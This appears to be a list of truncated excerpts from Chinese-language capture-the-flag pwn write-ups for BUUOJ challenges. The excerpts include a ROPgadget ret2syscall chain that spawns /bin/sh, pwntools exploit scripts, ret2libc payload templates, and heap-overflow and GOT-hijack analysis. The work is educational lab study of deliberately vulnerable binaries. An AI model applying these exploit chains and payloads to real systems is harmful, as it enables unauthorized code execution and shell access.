Pasted image 20260421190124.png 直接去问ROPgadget要ropchain p = b'' p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p +=...
cmcc_simplerop解题ROP链原理及作用分析 在cmcc_simplerop题目中,ROP链的核心原理是利用静态编译特性和ret2syscall技术直接触发系统调用获取shell。以下是详细解析: ROP链原理 静态编译优势: 程序静态编译包含所有库函数代码(如syscall指令、pop指令等) 无需泄露libc地址,可直接在二进制中搜索所需gadget 存在现成的/bin/sh字符串(地址0x080BE408) ret2syscall技术: 通过ROP链设置寄存器直接触发int 0x80系统调用 32位系统调用约定: eax = 系统调用号(execve为0xb) ebx = 参数字符串地址(/bin/sh) ecx...
Pasted image 20260421184217.png 简单栈溢出 from pwn import * elf = ELF('./pwn') context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug', arch='i386', os='linux') select = 1 if select == 0: r = process( './pwn' ) #libc = ELF(local_libc) else: r=remote('node5.buuoj.cn',29621) #libc = ELF(remote_libc) #elf =...
easyheap 只改 magic 触发 4869 题目信息 程序提供 create、edit、delete 三个堆操作。 edit 存在堆溢出,因为它会直接使用用户输入的 size 去 read,不检查是否超过原 chunk 大小。 主程序里有一个隐藏分支: if (choice == 4869) { if ((unsigned long long)magic <= 0x1305) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } 目标就是把全局变量 magic 改成大于 0x1305 的值,然后发送 4869。 关键地址 magic = 0x6020c0...
# [ZJCTF 2019] EasyHeap WP ## 题目分析 程序提供 3 个基本堆操作: - `create` - `edit` - `delete` 保护如下: - Partial RELRO - Canary - NX - No PIE 因为没有 PIE,所以程序内的全局变量、GOT 地址都是固定的;又因为是 Partial RELRO,所以 GOT 可写,适合做 GOT 劫持。 --- ## 程序关键点 程序里有一个全局数组 `heaparray`,地址为: ```text heaparray = 0x6020e0 它本质上就是一个保存堆块指针的数组,可以理解为: char *heaparray[10]; 申请堆块时...
一道堆溢出,看起来跟2-2-2差不多,可以借鉴一下,应该也是UAF 先来看一下他给的 Pasted image 20260417084008.png main里面大部分都是好的,有一个部分如下: if ( v3 == 4869 ) { if ( magic <= (unsigned __int64)'\x13\x05' ) //\x13\x05就是4869 { puts("So sad !"); } else { puts("Congrt !"); l33t(); //这个函数会直接给flag } } 来写基本的函数: def create(size,content): r.sendlineafter(b"Your choice...
from pwn import * from LibcSearcher import * context(log_level='debug', arch='i386') p = process('./hacknote') # p=remote('node5.buuoj.cn',27442) def dbg(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'Your choice :', str(1)) p.sendlineafter(b'Note size :', str(size)) p.sendafter(b'Content :',...
这题的做法应当不只一种 本来其实可以尝试ret2libc的。他有read和write可惜可以溢出的长度不太够,构造不了ret2libc。ret2libc需要的字节数一般都是几十个,比如: 64位write:payload = b'A' * offset + p64(ret_addr) + p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(got) + p64(4) + p64(plt) + p64(main_addr) #栈溢出后64个字节 64位puts:payload = b'A' * offset + p64(pop_rdi) +p64(puts_got) + p64(puts_plt) +...
level4 详细 WP 题目信息 题目文件:level4 远程环境:node5.buuoj.cn:28980 程序类型:32-bit ELF 目标:利用程序漏洞拿到 shell,并读取 flag 最终拿到的 flag: flag{7615020a-7615-462f-8ed9-00f7f5f2f16f} 一、程序分析 先看程序保护: Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 可以得到几个关键信息: 32位程序 无 Canary,说明栈溢出后...
recurse_33c3_2016 WP 保护: Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 一、程序逻辑 程序启动后先问名字,然后进入一个菜单: welcome to recurse what's your name? Hi, <name> What would you like to do? 1) recurse 2) recurse!!! 3) recurse?! 4) iterate 菜单对应逻辑大致是: 1) recurse 递归调用当前 challenge 对象 2)...